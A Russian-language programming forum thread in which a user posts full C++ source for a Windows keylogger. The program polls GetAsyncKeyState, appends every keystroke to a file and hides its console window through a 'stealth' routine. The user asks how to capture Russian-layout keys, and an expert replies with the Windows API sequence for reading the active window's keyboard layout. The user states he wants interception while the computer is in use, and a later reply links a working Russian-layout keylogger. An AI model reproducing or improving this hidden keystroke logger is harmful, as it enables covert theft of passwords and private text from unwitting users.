Форум программистов, компьютерный форум, киберфорум
Наши страницы
С++ для начинающих
Войти
Регистрация
Восстановить пароль
 
Рейтинг 5.00/4: Рейтинг темы: голосов - 4, средняя оценка - 5.00
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
#1

Keylogger не работает с русской раскладкой

25.04.2016, 08:25. Просмотров 660. Ответов 7
Метки нет (Все метки)

Все привет, для примера в инете нашел исходник кейлоггера, на англ все нормально пишет, а вот если стоит русская раскладка то оно записывает у файл англ символ, как можно сделать чтоб код понимал расскладку клавиатуры?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
 
int save (int key_stroke, char *file);
void stealth();
int main()
{
    
    stealth();
    char i;
    
    while(1)
    {
            for(i = 8; i <= 190; i++)
            {
                  if (GetAsyncKeyState(i) == -32767)
                  save (i,"probe.txt");
                  }
                  }
                  
                  
    system("PAUSE");
    return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout<<key_stroke<<"\n";
    
    if (key_stroke==8)
     fprintf(OUTPUT_FILE, "%s" , "(backspace)");
    else if (key_stroke == 13)
     fprintf(OUTPUT_FILE, "%s" , "\n");
    else if (key_stroke == 32)
     fprintf(OUTPUT_FILE, "%s" , " ");
    else if (key_stroke == VK_TAB)
     fprintf(OUTPUT_FILE, "%s" , "(tab)");
    else if (key_stroke == VK_SHIFT)
     fprintf(OUTPUT_FILE, "%s" , "(shift)");
    else if (key_stroke == VK_CONTROL)
     fprintf(OUTPUT_FILE, "%s" , "(control)");
    else if (key_stroke == VK_ESCAPE)
     fprintf(OUTPUT_FILE, "%s" , "(escape)"); 
    else if (key_stroke == VK_END)
     fprintf(OUTPUT_FILE, "%s" , "(end)");
    else if (key_stroke == VK_HOME)
     fprintf(OUTPUT_FILE, "%s" , "(home)");  
    else if (key_stroke == VK_LEFT)
     fprintf(OUTPUT_FILE, "%s" , "(left)");
    else if (key_stroke == VK_UP)
     fprintf(OUTPUT_FILE, "%s" , "(up)"); 
    else if (key_stroke == VK_RIGHT)
     fprintf(OUTPUT_FILE, "%s" , "(right)");
    else if (key_stroke == VK_DOWN)
     fprintf(OUTPUT_FILE, "%s" , "(down)");
    else if (key_stroke == 190 || key_stroke == 110)
     fprintf(OUTPUT_FILE, "%s" , ".");
     else
     fprintf(OUTPUT_FILE, "%s" , &key_stroke);   
    fclose(OUTPUT_FILE);
    return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
     
}
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.04.2016, 08:25
Ответы с готовыми решениями:

Теоретический момент по Keylogger на C++
Есть код, копипастнутый с незначительными изменениями, это простейший...

Keylogger русский язык
Всем привет. Проблема в том как мне добавить русскую раскладку клавиатуры?...

Ошибка русской локализации?
Функция strtod и русская локализация Так, решил я значит проверить работу...

Вывод элементов русской строки
Почему выводится строка, но элементы строки выводятся в виде знака ошибки? ...

Проверка регистра русской буквы
Здравствуйте! Мне нужно проверить регистр русской буквы. Нашел вот такие...

7
Убежденный
Ушел с форума
Эксперт С++
15951 / 7263 / 1177
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
Завершенные тесты: 1
25.04.2016, 10:17 #2
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как можно сделать чтоб код понимал расскладку клавиатуры?
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.
2
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 10:23  [ТС] #3
Мне и не нужно для концольных, мне нужен перехват при работе компьютера

Добавлено через 52 секунды
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.


Можешь пожалуйста привети пример как получиьть раскладку клавиатуры, а то не совсем понял
0
Убежденный
Ушел с форума
Эксперт С++
15951 / 7263 / 1177
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
Завершенные тесты: 1
25.04.2016, 11:40 #4
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как получиьть раскладку клавиатуры
Раскладка клавиатуры устанавливается отдельно для потока.
То есть, тебе нужно сначала узнать поток, обслуживающий активное на данный
момент окно. HWND активного в данный момент окна можно узнать с помощью
GetGUIThreadInfo. Далее нужно по этому HWND узнать ID потока, для этого
делается вызов GetWindowThreadProcessId. Теперь у тебя есть ID потока.
Ну а дальше - GetKeyboardLayout. На выходе у тебя будет идентификатор клавиатурной
раскладки для активного окна. Что делать с ним дальше - зависит от устройства кейлоггера.
0
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 16:01  [ТС] #5
Получаеться что эти метлды просто нужно вывзвать в мейне?
0
notemac
27 / 27 / 18
Регистрация: 13.09.2014
Сообщений: 137
12.12.2016, 23:58 #6
DELETE
0
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
13.12.2016, 00:48  [ТС] #7
Что DELETE?
0
notemac
27 / 27 / 18
Регистрация: 13.09.2014
Сообщений: 137
13.12.2016, 16:27 #8
Prizrak2016, пример keylogger'a, работающего с русской раскладкой Keylogger, неопределенное поведение, undefined behaviour
0
13.12.2016, 16:27
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
13.12.2016, 16:27

Как получить ASCII русской буквы
Здравствуйте, подскажите как получить код ASCII русской буквы? К примеру ...

Вывод даты в русской локализации (Linux)
#include &lt;stdio.h&gt; #include &lt;time.h&gt; int main () { setlocale (LC_TYPE,...

Генерация случайных чисел, имитация Русской рулетки
#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cstdlib&gt; #include &lt;ctime&gt;...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
8
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru